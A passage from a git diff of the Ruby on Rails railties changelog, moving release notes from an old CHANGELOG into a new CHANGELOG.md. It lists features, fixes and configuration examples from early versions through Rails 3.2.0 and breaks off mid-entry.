MagicBeansController/magic_beans_controller.rb [Caio Chassot] - -* "new_controller MagicBeans" and "new_model SubscriptionPayments" will now both behave properly as they use the new Inflector. - -* Fixed problem with MySQL foreign key constraint checks in Rake :clone_production_structure_to_test target [Andreas Schwarz] - -* Changed WEBrick server to by default be auto-reloading, which is slower but makes source changes instant. - Class compilation cache can be turned on with "-c" or "--cache-classes". - -* Added "-b/--binding" option to WEBrick dispatcher to bind the server to a specific IP address (default: 127.0.0.1) [Kevin Temp] - -* dispatch.fcgi now DOESN'T set FCGI_PURE_RUBY as it was slowing things down for now reason [Andreas Schwarz] - -* Added new_mailer generator to work with Action Mailer - -* Included new framework: Action Mailer 0.3 - -* Upgraded to Action Pack 0.9.0 - -* Upgraded to Active Record 1.0.0 - - -*0.7.0* - -* Added an optional second argument to the new_model script that allows the programmer to specify the table name, - which will used to generate a custom table_name method in the model and will also be used in the creation of fixtures. - [Kevin Radloff] - -* script/new_model now turns AccountHolder into account_holder instead of accountholder [Kevin Radloff] - -* Fixed the faulty handleing of static files with WEBrick [Andreas Schwarz] - -* Unified function_test_helper and unit_test_helper into test_helper - -* Fixed bug with the automated production => test database dropping on PostgreSQL [dhawkins] - -* create_fixtures in both the functional and unit test helper now turns off the log during fixture generation - and can generate more than one fixture at a time. Which makes it possible for assignments like: - - @people, @projects, @project_access, @companies, @accounts = - create_fixtures "people", "projects", "project_access", "companies", "accounts" - -* Upgraded to Action Pack 0.8.5 (locally-scoped variables, partials, advanced send_file) - -* Upgraded to Active Record 0.9.5 (better table_name guessing, cloning, find_all_in_collection) - - -*0.6.5* - -* No longer specifies a template for rdoc, so it'll use whatever is default (you can change it in the rakefile) - -* The new_model generator will now use the same rules for plural wordings as Active Record - (so Category will give categories, not categorys) [Kevin Radloff] - -* dispatch.fcgi now sets FCGI_PURE_RUBY to true to ensure that it's the Ruby version that's loaded [danp] - -* Made the GEM work with Windows - -* Fixed bug where mod_ruby would "forget" the load paths added when switching between controllers - -* PostgreSQL are now supported for the automated production => test database dropping [Kevin Radloff] - -* Errors thrown by the dispatcher are now properly handled in FCGI. - -* Upgraded to Action Pack 0.8.0 (lots and lots and lots of fixes) - -* Upgraded to Active Record 0.9.4 (a bunch of fixes) - - -*0.6.0* - -* Added AbstractionApplicationController as a superclass for all controllers generated. This class can be used - to carry filters and methods that are to be shared by all. It has an accompanying ApplicationHelper that all - controllers will also automatically have available. - -* Added environments that can be included from any script to get the full Active Record and Action Controller - context running. This can be used by maintenance scripts or to interact with the model through IRB. Example: - - require 'config/environments/production' - - for account in Account.find_all - account.recalculate_interests - end - - A short migration script for an account model that had it's interest calculation strategy changed. - -* Accessing the index of a controller with "/weblog" will now redirect to "/weblog/" (only on Apache, not WEBrick) - -* Simplified the default Apache config so even remote requests are served off CGI as a default. - You'll now have to do something specific to activate mod_ruby and FCGI (like using the force urls). - This should make it easier for new comers that start on an external server. - -* Added more of the necessary Apache options to .htaccess to make it easier to setup - -* Upgraded to Action Pack 0.7.9 (lots of fixes) - -* Upgraded to Active Record 0.9.3 (lots of fixes) - - -*0.5.7* - -* Fixed bug in the WEBrick dispatcher that prevented it from getting parameters from the URL - (through GET requests or otherwise) - -* Added lib in root as a place to store app specific libraries - -* Added lib and vendor to load_path, so anything store within can be loaded directly. - Hence lib/redcloth.rb can be loaded with require "redcloth" - -* Upgraded to Action Pack 0.7.8 (lots of fixes) - -* Upgraded to Active Record 0.9.2 (minor upgrade) - - -*0.5.6* - -* Upgraded to Action Pack 0.7.7 (multipart form fix) - -* Updated the generated template stubs to valid XHTML files - -* Ensure that controllers generated are capitalized, so "new_controller TodoLists" - gives the same as "new_controller Todolists" and "new_controller todolists". - - -*0.5.5* - -* Works on Windows out of the box! (Dropped symlinks) - -* Added webrick dispatcher: Try "ruby public/dispatch.servlet --help" [Florian Gross] - -* Report errors about initialization to browser (instead of attempting to use uninitialized logger) - -* Upgraded to Action Pack 0.7.6 - -* Upgraded to Active Record 0.9.1 - -* Added distinct 500.html instead of reusing 404.html - -* Added MIT license - - -*0.5.0* - -* First public release diff --git a/railties/CHANGELOG.md b/railties/CHANGELOG.md new file mode 100644 index 0000000000..6b0be4c096 --- /dev/null +++ b/railties/CHANGELOG.md @@ -0,0 +1,2407 @@ +## Rails 3.2.0 (unreleased) ## + +* Display mounted engine's routes in `rake routes`. *Piotr Sarnacki* + +* Allow to change the loading order of railties with `config.railties_order=` *Piotr Sarnacki* + + Example: + config.railties_order = [Blog::Engine, :main_app, :all] + +* Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box. *José Valim* + +* Update Rails::Rack::Logger middleware to apply any tags set in config.log_tags to the newly ActiveSupport::TaggedLogging Rails.logger. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications *DHH* + +* Default options to `rails new` can be set in ~/.railsrc *Guillermo Iguaran* + +* Add destroy alias to Rails engines *Guillermo Iguaran* + +* Add destroy alias for Rails command line. This allows the following: `rails d model post` *Andrey Ognevsky* + +* Attributes on scaffold and model generators default to string. This allows the following: "rails g scaffold Post title body:text author" *José Valim* + +* Remove old plugin generator (`rails generate plugin`) in favor of `rails plugin new` command *Guillermo Iguaran* + +* Remove old 'config.paths.app.controller' API in favor of 'config.paths["app/controller"]' API *Guillermo Iguaran* + + +* Rails 3.1.1 + +* Add jquery-rails to Gemfile of plugins, test/dummy app needs it. Closes #3091. *Santiago Pastorino* + +* Add config.assets.initialize_on_precompile which, when set to false, forces + `rake assets:precompile` to load the application but does not initialize it. + + To the app developer, this means configuration add in + config/initializers/* will not be executed. + + Plugins developers need to special case their initializers that are + meant to be run in the assets group by adding :group => :assets. + +## Rails 3.1.2 (unreleased) ## + +* Engines: don't blow up if db/seeds.rb is missing. + + *Jeremy Kemper* + +* `rails new foo --skip-test-unit` should not add the `:test` task to the rake default task. + *GH 2564* + + *José Valim* + +## Rails 3.1.0 (August 30, 2011) ## + +* The default database schema file is written as UTF-8. *Aaron Patterson* + +* Generated apps with --dev or --edge flags depend on git versions of + sass-rails and coffee-rails. *Santiago Pastorino* + +* Rack::Sendfile middleware is used only if x_sendfile_header is present. *Santiago Pastorino* + +* Add JavaScript Runtime name to the Rails Info properties. *DHH* + +* Make pp enabled by default in Rails console. *Akira Matsuda* + +* Add alias `r` for rails runner. *Jordi Romero* + +* Make sprockets/railtie require explicit and add --skip-sprockets to app generator *José Valim* + +* Added Rails.groups that automatically handles Rails.env and ENV["RAILS_GROUPS"] *José Valim* + +* The new rake task assets:clean removes precompiled assets. *fxn* + +* Application and plugin generation run bundle install unless --skip-gemfile or --skip-bundle. *fxn* + +* Fixed database tasks for jdbc* adapters #jruby *Rashmi Yadav* + +* Template generation for jdbcpostgresql #jruby *Vishnu Atrai* + +* Template generation for jdbcmysql and jdbcsqlite3 #jruby *Arun Agrawal* + +* The -j option of the application generator accepts an arbitrary string. If passed "foo", + the gem "foo-rails" is added to the Gemfile, and the application JavaScript manifest + requires "foo" and "foo_ujs". As of this writing "prototype-rails" and "jquery-rails" + exist and provide those files via the asset pipeline. Default is "jquery". *fxn* + +* jQuery is no longer vendored, it is provided from now on by the jquery-rails gem. *fxn* + +* Prototype and Scriptaculous are no longer vendored, they are provided from now on + by the prototype-rails gem. *fxn* + +* The scaffold controller will now produce SCSS file if Sass is available *Prem Sichanugrist* + +* The controller and resource generators will now automatically produce asset stubs (this can be turned off with --skip-assets). These stubs will use Coffee and Sass, if those libraries are available. *DHH* + +* jQuery is the new default JavaScript library. *fxn* + +* Changed scaffold, application, and mailer generator to create Ruby 1.9 style hash when running on Ruby 1.9 *Prem Sichanugrist* + + So instead of creating something like: + + redirect_to users_path, :notice => "User has been created" + + it will now be like this: + + redirect_to users_path, notice: "User has been created" + + You can also passing `--old-style-hash` to make Rails generate old style hash even you're on Ruby 1.9 + +* Changed scaffold_controller generator to create format block for JSON instead of XML *Prem Sichanugrist* + +* Add using Turn with natural language test case names for test_help.rb when running with minitest (Ruby 1.9.2+) *DHH* + +* Direct logging of Active Record to STDOUT so it's shown inline with the results in the console *DHH* + +* Added `config.force_ssl` configuration which loads Rack::SSL middleware and force all requests to be under HTTPS protocol *DHH, Prem Sichanugrist, and Josh Peek* + +* Added `rails plugin new` command which generates rails plugin with gemspec, tests and dummy application for testing *Piotr Sarnacki* + +* Added -j parameter with jquery/prototype as options. Now you can create your apps with jQuery using `rails new myapp -j jquery`. The default is still Prototype. *siong1987* + +* Added Rack::Etag and Rack::ConditionalGet to the default middleware stack *José Valim* + +* Added Rack::Cache to the default middleware stack *Yehuda Katz and Carl Lerche* + +* Engine is now rack application *Piotr Sarnacki* + +* Added middleware stack to Engine *Piotr Sarnacki* + +* Engine can now load plugins *Piotr Sarnacki* + +* Engine can load its own environment file *Piotr Sarnacki* + +* Added helpers to call engines' route helpers from application and vice versa *Piotr Sarnacki* + +* Task for copying plugins' and engines' migrations to application's db/migrate directory *Piotr Sarnacki* + +* Changed ActionDispatch::Static to allow handling multiple directories *Piotr Sarnacki* + +* Added isolate_namespace() method to Engine, which sets Engine as isolated *Piotr Sarnacki* + +* Include all helpers from plugins and shared engines in application *Piotr Sarnacki* + + +## Rails 3.0.7 (April 18, 2011) ## + +* No changes. + + +* Rails 3.0.6 (April 5, 2011) + +* No changes. + + +## Rails 3.0.5 (February 26, 2011) ## + +* No changes. + + +## Rails 3.0.4 (February 8, 2011) ## + +* No changes. + + +## Rails 3.0.3 (November 16, 2010) ## + +* No changes. + + +## Rails 3.0.2 (November 15, 2010) ## + +* No changes. + + +## Rails 3.0.1 (October 15, 2010) ## + +* No Changes, just a version bump. + + +## Rails 3.0.0 (August 29, 2010) ## + +* Application generation: --skip-testunit and --skip-activerecord become --skip-test-unit and --skip-active-record respectively. *fxn* + +* Added console to Rails::Railtie as a hook called just after console starts. *José Valim* + +* Rails no longer autoload code in lib for application. You need to explicitly require it. *José Valim* + +* Rails::LogSubscriber was renamed to ActiveSupport::LogSubscriber *José Valim* + +* config.load_(once_)paths in config/application.rb got renamed to config.autoload_(once_)paths. *fxn* + +* Abort generation/booting on Ruby 1.9.1. *fxn* + +* Made the rails command work even when you're in a subdirectory *Chad Fowler* + +* Removed Rails Metal [Yehuda Katz, José Valim]. + +* Renamed config.cookie_secret to config.secret_token and pass it as env key. *José Valim* + +* Session store configuration has changed *Yehuda Katz, Carl Lerche* + + config.session_store :cookie_store, {:key => "..."} + config.cookie_secret = "fdsfhisdghfidugnfdlg" + +* railtie_name and engine_name are deprecated. You can now add any object to + the configuration object: config.your_plugin = {} *José Valim* + +* Added config.generators.templates to provide alternative paths for the generators + to look for templates *José Valim* + +* Added "rake about" as a replacement for script/about *DHH* + +* Removed all the default commands in script/* and replaced them with script/rails and a rails command that'll act the same when run from within the app [DHH]. Example: + + ./script/generate scaffold post title:string can now be called as rails g scaffold post title:string + + Run rails --help inside an app for more help. + +* Removed config/initializers/new_rails_defaults.rb as all frameworks now follow the settings from it *DHH* + +* Set config.time_zone to UTC by default *DHH* + +* Added default .gitignore (this is just recognizing Git market share, don't throw a hissy if you use another SCM) *DHH* + +* Added cookies.permanent, cookies.signed, and cookies.permanent.signed accessor for common cookie actions [DHH]. Examples: + + cookies.permanent[:prefers_open_id] = true + # => Set-Cookie: prefers_open_id=true; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT + + cookies.signed[:discount] = 45 + # => Set-Cookie: discount=BAhpMg==--2c1c6906c90a3bc4fd54a51ffb41dffa4bf6b5f7; path=/ + + cookies.signed[:discount] + # => 45 (if the cookie was changed, you'll get a InvalidSignature exception) + + cookies.permanent.signed[:remember_me] = current_user.id + # => Set-Cookie: discount=BAhU--848956038e692d7046deab32b7131856ab20e14e; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT + + ...to use the signed cookies, you need to set a secret to ActionController::Base.cookie_verifier_secret (automatically done in config/initializers/cookie_verification_secret.rb for new Rails applications). + +* Added config/initializers/cookie_verification_secret.rb with an auto-generated secret for using ActionController::Base#cookies.signed *DHH* + +* Fixed that the debugger wouldn't go into IRB mode because of left-over ARGVs *DHH* + +* I18n support for plugins. #2325 *Antonio Tapiador, Sven Fuchs* + +* Ruby 1.9: use UTF-8 for default internal and external encodings. *Jeremy Kemper* + +* Added db/seeds.rb as a default file for storing seed data for the database. Can be loaded with rake db:seed (or created alongside the db with db:setup). (This is also known as the "Stop Putting Gawd Damn Seed Data In Your Migrations" feature) *DHH* + + +## 2.3.2 Final (March 15, 2009) ## + +* Remove outdated script/plugin options *Pratik Naik* + +* Allow metal to live in plugins #2045 *Matthew Rudy* + +* Added metal *Josh Peek* + +* Remove script/performance/request in favour of the performance integration tests. *Pratik Naik* + + To continue using script/performance/request, install the request_profiler plugin : + + script/plugin install git://github.com/rails/request_profiler.git + +* Add a rake task to apply a template to an existing application : rake rails:template LOCATION=~/template.rb *Pratik Naik* + +* Add "-m/--template" option to Rails generator to apply a template to the generated application. *Jeremy McAnally* + + This has been extracted from rg - http://github.com/jeremymcanally/rg + + Example: + + # template.rb + + # Install plugins from git or svn + plugin "will-paginate", :git => "git://github.com/mislav/will_paginate.git" + plugin "old-restful-auth", :svn => "http://svn.techno-weenie.net/projects/plugins/restful_authentication/" + + # Add gems to environment.rb + gem "jeremymcanally-context" + gem "bluecloth" + + # Vendor file. Data in a string or... + vendor("borrowed.rb", <<CODE + def helpful_method + do_something_helpful_here + end + CODE + + # ...file data from block return value. + # #initializer creates a new initializer file + initializer("crypto.rb") do + salt = "--#{Time.now}--#{rand}--#{srand(Time.now.to_i)}" + + "SPECIAL_SALT = '#{salt}'" + end + + Usage: + + To use a template, provide a file path or URL: + + 1. Using a local file : + + rails <application name> -m /path/to/my/template.rb + + 2. Or directly from a URL : + + rails <application name> --template=http://gist.github.com/31208.txt + +* Extracted the process scripts (inspector, reaper, spawner) into the plugin irs_process_scripts *David Heinemeier Hansson* + +* Changed Rails.root to return a Pathname object (allows for Rails.root.join('app', 'controllers') => "#{RAILS_ROOT}/app/controllers") #1482 *Damian Janowski/?* + +* Added view path support for engines *David Heinemeier Hansson* + +* Added that config/routes.rb files in engine plugins are automatically loaded (and reloaded when they change in dev mode) *David Heinemeier Hansson* + +* Added app/[models|controllers|helpers] to the load path for plugins that has an app directory (go engines ;)) *David Heinemeier Hansson* + +* Add config.preload_frameworks to load all frameworks at startup. Default to false so Rails autoloads itself as it's used. Turn this on for Passenger and JRuby. Also turned on by config.threadsafe! *Jeremy Kemper* + +* Add a rake task to generate dispatchers : rake rails:generate_dispatchers *Pratik Naik* + +* "rails <app>" will not generate public/dispatch.cgi/fcgi/rb files by default now. Please use "--with-dispatchers" option if you need them. *Yaroslav Markin, Pratik Naik* + +* Added rake rails:update:application_controller to renamed application.rb to application_controller.rb -- included in rake rails:update so upgrading to 2.3 will automatically trigger it #1439 *kastner* + +* Added Rails.backtrace_cleaner as an accessor for the Rails::BacktraceCleaner instance used by the framework to cut down on backtrace noise and config/initializers/backtrace_silencers.rb to add your own (or turn them all off) *David Heinemeier Hansson* + +* Switch from Test::Unit::TestCase to ActiveSupport::TestCase. *Jeremy Kemper* + +* Added config.i18n settings gatherer to config/environment, auto-loading of all locales in config/locales/*.rb,yml, and config/locales/en.yml as a sample locale *David Heinemeier Hansson* + +* BACKWARDS INCOMPATIBLE: Renamed application.rb to application_controller.rb and removed all the special casing that was in place to support the former. You must do this rename in your own application when you upgrade to this version *David Heinemeier Hansson* + + +## 2.2.1 RC2 (November 14th, 2008) ## + +* Fixed plugin generator so that generated unit tests would subclass ActiveSupport::TestCase, also introduced a helper script to reduce the needed require statements #1137 *Mathias Meyer* + +* Update Prototype to 1.6.0.3 *sam* + + +## 2.2.0 RC1 (October 24th, 2008) ## + +* Fixed that sqlite would report "db/development.sqlite3 already exists" whether true or not on db:create #614 *Antonio Cangiano* + +* Added config.threadsafe! to toggle allow concurrency settings and disable the dependency loader *Josh Peek* + +* Turn cache_classes on by default *Josh Peek* + +* Added configurable eager load paths. Defaults to app/models, app/controllers, and app/helpers *Josh Peek* + +* Introduce simple internationalization support. *Ruby i18n team* + +* Make script/plugin install <plugin> -r <revision> option work with git based plugins. #257. [Tim Pope Jakub Kuźma]. Example: + + script/plugin install git://github.com/mislav/will_paginate.git -r agnostic # Installs 'agnostic' branch + script/plugin install git://github.com/dchelimsky/rspec.git -r 'tag 1.1.4' + +* Added Rails.initialized? flag *Josh Peek* + +* Make rake test:uncommitted work with Git. *Tim Pope* + +* Added Thin support to script/server. #488 *Bob Klosinski* + +* Fix script/about in production mode. #370 *Cheah Chu Yeow, Xavier Noria, David Krmpotic* + +* Add the gem load paths before the framework is loaded, so certain gems like RedCloth and BlueCloth can be frozen. + +* Fix discrepancies with loading rails/init.rb from gems. + +* Plugins check for the gem init path (rails/init.rb) before the standard plugin init path (init.rb) *Jacek Becela* + +* Changed all generated tests to use the test/do declaration style *David Heinemeier Hansson* + +* Wrapped Rails.env in StringInquirer so you can do Rails.env.development? *David Heinemeier Hansson* + +* Fixed that RailsInfoController wasn't considering all requests local in development mode (Edgard Castro) *#310 state:resolved* + + +## 2.1.0 (May 31st, 2008) ## + +* script/dbconsole fires up the command-line database client. #102 *Steve Purcell* + +* Fix bug where plugin init.rb files from frozen gem specs weren't being run. (pjb3) *#122 state:resolved* + +* Made the location of the routes file configurable with config.routes_configuration_file (Scott Fleckenstein) *#88* + +* Rails Edge info returns the latest git commit hash *Francesc Esplugas* + +* Added Rails.public_path to control where HTML and assets are expected to be loaded from (defaults to Rails.root + "/public") #11581 *Nick Sieger* + +* rake time:zones:local finds correct base utc offset for zones in the Southern Hemisphere *Geoff Buesing* + +* Don't require rails/gem_builder during rails initialization, it's only needed for the gems:build task. *Rick Olson* + +* script/performance/profiler compatibility with the ruby-prof >= 0.5.0. Closes #9176. *Jonathan del Strother* + +* Flesh out rake gems:unpack to unpack all gems, and add rake gems:build for native extensions. #11513 *ddollar* + + rake gems:unpack # unpacks all gems + rake gems:unpack GEM=mygem # unpacks only the gem 'mygem' + + rake gems:build # builds all unpacked gems + rake gems:build GEM=mygem # builds only the gem 'mygem' + +* Add config.active_support for future configuration options. Also, add more new Rails 3 config settings to new_rails_defaults.rb *Rick Olson* + +* Add Rails.logger, Rails.root, Rails.env and Rails.cache shortcuts for RAILS_* constants *Pratik Naik* + +* Allow files in plugins to be reloaded like the rest of the application. *Rick Olson* + + Enables or disables plugin reloading. + + config.reload_plugins = true + + You can get around this setting per plugin. + If #reload_plugins? == false (DEFAULT), add this to your plugin's init.rb to make it reloadable: + + Dependencies.load_once_paths.delete lib_path + + If #reload_plugins? == true, add this to your plugin's init.rb to only load it once: + + Dependencies.load_once_paths << lib_path + +* Small tweak to allow plugins to specify gem dependencies. *Rick Olson* + + \# OLD open_id_authentication plugin init.rb + require 'yadis' + require 'openid' + ActionController::Base.send :include, OpenIdAuthentication + + \# NEW + config.gem "ruby-openid", :lib => "openid", :version => "1.1.4" + config.gem "ruby-yadis", :lib => "yadis", :version => "0.3.4" + + config.after_initialize do + ActionController::Base.send :include, OpenIdAuthentication + end + +* Added config.gem for specifying which gems are required by the application, as well as rake tasks for installing and freezing gems. *Rick Olson* + + Rails::Initializer.run do |config| + config.gem "bj" + config.gem "hpricot", :version => '0.6', :source => "http://code.whytheluckystiff.net" + config.gem "aws-s3", :lib => "aws/s3" + end + + \# List required gems. + rake gems + + \# Install all required gems: + rake gems:install + + \# Unpack specified gem to vendor/gems/gem_name-x.x.x + rake gems:unpack GEM=bj + +* Removed the default .htaccess configuration as there are so many good deployment options now (kept it as an example in README) *David Heinemeier Hansson* + +* config.time_zone accepts TZInfo::Timezone identifiers as well as Rails TimeZone identifiers *Geoff Buesing* + +* Rails::Initializer#initialize_time_zone raises an error if value assigned to config.time_zone is not recognized. Rake time zone tasks only require ActiveSupport instead of entire environment *Geoff Buesing* + +* Stop adding the antiquated test/mocks/* directories and only add them to the path if they're still there for legacy reasons *David Heinemeier Hansson* + +* Added that gems can now be plugins if they include rails/init.rb #11444 *John Barnette* + +* Added Plugin#about method to programmatically access the about.yml in a plugin #10979 *James Adam* + + plugin = Rails::Plugin.new(path_to_my_plugin) + plugin.about["author"] # => "James Adam" + plugin.about["url"] # => "http://interblah.net" + +* Improve documentation. *Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria, Sunny Ripert* + +* Added config.time_zone = 'UTC' in the default environment.rb *Geoff Buesing* + +* Added rake tasks time:zones:all, time:zones:us and time:zones:local for finding time zone names for config.time_zone option *Geoff Buesing* + +* Add config.time_zone for configuring the default Time.zone value. #10982 *Geoff Buesing* + +* Added support for installing plugins hosted at git repositories #11294 *Jack Danger Canty* + +* Fixed that script/generate would not look for plugin generators in plugin_paths #11000 *glv* + +* Fixed database rake tasks to work with charset/collation and show proper error messages on failure. Closes #11301 *matt* + +* Added a -e/--export to script/plugin install, uses svn export. #10847 *jon@blankpad.net)* + +* Reshuffle load order so that routes and observers are initialized after plugins and app initializers. Closes #10980 *Rick Olson* + +* Git support for script/generate. #10690 *ssoroka* + +* Update scaffold to use labels instead of bold tags. Closes #10757 *zach-inglis-lt3* + +* Resurrect WordNet synonym lookups. #10710 *tom./, matt* + +* Added config.cache_store to environment options to control the default cache store (default is FileStore if tmp/cache is present, otherwise MemoryStore is used) *David Heinemeier Hansson* + +* Added that rails:update is run when you do rails:freeze:edge to ensure you also get the latest JS and config files #10565 *jeff* + +* SQLite: db:drop:all doesn't fail silently if the database is already open. #10577 *Cheah Chu Yeow, mrichman* + +* Introduce native mongrel handler and push mutex into dispatcher. *Jeremy Kemper* + +* Ruby 1.9 compatibility. #1689, #10546 *Cheah Chu Yeow, frederico* + + +## 2.0.2 (December 16th, 2007) ## + +* Changed the default database from mysql to sqlite3, so now running "rails myapp" will have a config/database.yml that's setup for SQLite3 (which in OS X Leopard is installed by default, so is the gem, so everything Just Works with no database configuration at all). To get a Rails application preconfigured for MySQL, just run "rails -d mysql myapp" *David Heinemeier Hansson* + +* Turned on ActionView::Base.cache_template_loading by default in config/environments/production.rb to prevent file system stat calls for every template loading to see if it changed (this means that you have to restart the application to see template changes in production mode) *David Heinemeier Hansson* + +* Introduce `rake secret` to output a crytographically secure secret key for use with cookie sessions #10363 *revans* + +* Fixed that local database creation should consider 127.0.0.1 local #9026 *parcelbrat* + +* Fixed that functional tests generated for scaffolds should use fixture calls instead of hard-coded IDs #10435 *boone* + +* Added db:migrate:redo and db:migrate:reset for rerunning existing migrations #10431, #10432 *matt* + +* RAILS_GEM_VERSION may be double-quoted also. #10443 *James Cox* + +* Update rails:freeze:gems to work with RubyGems 0.9.5. *Jeremy Kemper* + + +## 2.0.1 (December 7th, 2007) ## + +* Fixed Active Record bug + + +## 2.0.0 (December 6th, 2007) ## + +* The test task stops with a warning if you have pending migrations. #10377 *Josh Knowles* + +* Add warning to documentation about using transactional fixtures when the code under test uses transactions itself. Closes #7548 *Thijs van der Vossen* + +* Update Prototype to 1.6.0.1. *sam* + +* Update script.aculo.us to 1.8.0.1. *madrobby* + +* Added db:fixtures:identity as a way of locating what ID a foxy fixture was assigned #10332 *John Barnette* + +* Generated fixtures should not specify ids since theyre expected to be foxy fixtures #10330 *John Barnette* + +* Update to Prototype -r8232. *sam* + +* Introduce SecretKeyGenerator for more secure session secrets than CGI::Session's pseudo-random id generator. Consider extracting to Active Support later. #10286 *Hongli Lai (Phusion)* + +* RAILS_GEM_VERSION may be set to any valid gem version specifier. #10057 *Chad Woolley, Cheah Chu Yeow* + +* Load config/preinitializer.rb, if present, before loading the environment. #9943 *Chad Woolley* + +* FastCGI handler ignores unsupported signals like USR2 on Windows. *Grzegorz Derebecki* + +* Only load ActionMailer::TestCase if ActionMailer is loaded. Closes #10137 *defunkt* + +* Fixed that db:reset would use migrations instead of loading db/schema.rb *David Heinemeier Hansson* + +* Ensure the plugin loader only loads plugins once. Closes #10102 *haruki_zaemon* + +* Refactor Plugin Loader. Add plugin lib paths early, and add lots of tests. Closes #9795 *James Adam* + +* Added --skip-timestamps to generators that produce models #10036 *Tim Pope* + +* Update Prototype to 1.6.0 and script.aculo.us to 1.8.0. *sam, madrobby* + +* Added db:rollback to rollback the schema one version (or multiple as specified by STEP) *Jeffrey Allan Hardy* + +* Fix typo in test_helper. Closes #9925 *viktor tron* + +* Request profiler. *Jeremy Kemper* + +* config/boot.rb correctly detects RAILS_GEM_VERSION. #9834 *alexch, thewoolleyman* + +* Fixed incorrect migration number if script/generate executed outside of Rails root #7080 *Jeremy McAnally* + +* Update Prototype to 1.6.0_rc1 and script.aculo.us to 1.8.0 preview 0. *sam, madrobby* + +* Generated fixtures use the actual primary key instead of id. #4343 *Frederick Ros, Tarmo Tänav* + +* Extend the console +helper+ method to allow you to include custom helpers. e.g: + >> helper :posts + >> helper.some_method_from_posts_helper(Post.find(1)) + +* db:create works with remote databases whereas db:create:all only creates + databases on localhost. #9753 *Trevor Wennblom* + +* Removed calls to fixtures in generated tests as fixtures :all is now present by default in test_helper.rb *David Heinemeier Hansson* + +* Add --prefix option to script/server when using mongrel. *dacat* + + +## 2.0.0 Preview Release (September 29th, 2007) Includes duplicates of changes from 1.1.4 - 1.2.3 ## + +* Fixed that installing plugins from SVN repositories that use trunk/ will work #8188 *evan* + +* Moved the SourceAnnotationExtractor to a separate file in case libraries try to load the rails rake tasks twice. *Rick Olson* + +* Moved Dispatcher to ActionController::Dispatcher. *Jeremy Kemper* + +* Changed the default logger from Ruby's own Logger with the clean_logger extensions to ActiveSupport::BufferedLogger for performance reasons [David Heinemeier Hansson]. (You can change it back with config.logger = Logger.new("/path/to/log", level).) + +* Added a default 422.html page to be rendered when ActiveRecord::RecordInvalid, ActiveRecord::RecordNotSaved, or ActionController::InvalidAuthenticityToken is raised *David Heinemeier Hansson* + +* Added --skip-fixture option to script/generate model #6862 *sandofsky* + +* Print Rails version when starting console #7440 *eyematz* + +* Fixed the placement of fixture files for nested models when generating through script/generate model #7547 *jkit* + +* Added TEMPLATE option to rake doc:app to set a custom output template #7737 *Jakob Skjerning* + +* Added VERBOSE option to rake db:migrate to turn off output #8204 *John Barnette* + +* Fixed that rake doc:app should use UTF-8 #8906 *farzy* + +* Fixes rake annotations to search erb and builder files as well #9150 *m.langenberg* + +* Removed web_service generator *Michael Koziarski* + +* Added the :all option to config.plugins that'll include the rest of the plugins not already explicitly named #9613 [Frederick Cheung]. Example: + + # Loads :classic_pagination before all the other plugins + config.plugins = [ :classic_pagination, :all ] + +* Added symbols as a legal way of specifying plugins in config.plugins #9629 *tom* + +* Removed deprecated task names, like clear_logs, in favor of the new namespaced style *David Heinemeier Hansson* + +* Support multiple config.after_initialize blocks so plugins and apps can more easily cooperate. #9582 *Zach Dennis* + +* Added db:drop:all to drop all databases declared in config/database.yml *David Heinemeier Hansson* + +* Use attribute pairs instead of the migration name to create add and remove column migrations. Closes #9166 *Pratik Naik* + + For example: + + ruby script/generation migration AddSomeStuffToCustomers first_name:string last_name:string + + or + + ruby script/generation migration RemoveSomeStuffFromCustomers first_name:string last_name:string + +* Add ActiveResource to Rails::Info. Closes #8741 *Chris Kampmeier* + +* use Gem.find_name instead of search when freezing gems. Prevent false positives for other gems with rails in the name. Closes #8729 *wselman* + +* Automatically generate add/remove column commands in specially named migrations like AddLocationToEvent. Closes #9006 *Ryan Davis* + +* Default to plural table name in Rails Generator if ActiveRecord is not present. Closes #8963 *evan* + +* Added rake routes for listing all the defined routes in the system. #8795 *Josh Peek* + +* db:create creates the database for the current environment if it's on localhost. db:create:all creates local databases for all environments. #8783 *matt* + +* Generators: look for generators in all gems, not just those suffixed with _generator, in the gem's generators or rails_generators directory. Allow use of the rails_generators directory instead of the standard generators directory in plugins also. #8730 *Dr Nic, topfunky* + +* MySQL, PostgreSQL: database.yml defaults to utf-8. #8701 *matt* + +* Added db:version to get the current schema number *via Err The Blog* + +* Added --skip-migration option to scaffold and resource generators #8656 *Michael Glaesemann* + +* Fix that FCGIs would leave log files open when asked to shut down by USR2. #3028 *Sebastian Kanthak, Josh Peek* + +* Fixed that dispatcher preparation callbacks only run once in production mode. Mock Routes.reload so that dispatcher preparation callback tests run. *Rick Olson* + +* Fix syntax error in dispatcher than wrecked failsafe responses. #8625 *mtitorenko* + +* Scaffolded validation errors set the appropriate HTTP status for XML responses. #6946, #8622 *Manfred Stienstra, mmmultiworks* + +* Sexy migrations for the session_migration generator. #8561 *Vladislav* + +* Console reload! runs to_prepare callbacks also. #8393 *f.svehla* + +* Generated migrations include timestamps by default. #8501 *Shane Vitarana* + +* Drop Action Web Service from rails:freeze:edge. *Jeremy Kemper* + +* Add db:create, drop, reset, charset, and collation tasks. #8448 *matt* + +* Scaffold generator depends on model generator instead of duplicating it. #7222 *bscofield* + +* Scaffold generator tests. #8443 *pelle* + +* Generated scaffold functional tests use assert_difference. #8421 *Norbert Crombach* + +* Update to Prototype 1.5.1. *Sam Stephenson* + +* Update to script.aculo.us 1.7.1_beta3. *Thomas Fuchs* + +* Generators use *.html.erb view template naming. #8278 *Tim Pope* + +* Updated resource_scaffold and model generators to use short-hand style migrations *David Heinemeier Hansson* + +* Updated initializer to only load #{RAILS_ENV}.rb once. Added deprecation warning for config.breakpoint_server. *Nicholas Seckar* + +* Removed breakpointer and Binding.of_caller in favor of relying on ruby-debug by Kent Sibilev since the breakpointer has been broken since Ruby 1.8.4 and will not be coming back *David Heinemeier Hansson* + + To use the new debugger, start your server with script/server --debugger and insert a call to 'debugger' + (instead of 'breakpoint') where you want to jump into the debugger. + + BACKWARDS INCOMPATIBILITY NOTE: You must remove the default line 12 from config/environments/development.rb: + + config.breakpoint_server = true + + This configuration option is no longer available. Rails will fail to start in development mode as long as + that's still present. + +* Resource scaffolding returns the created 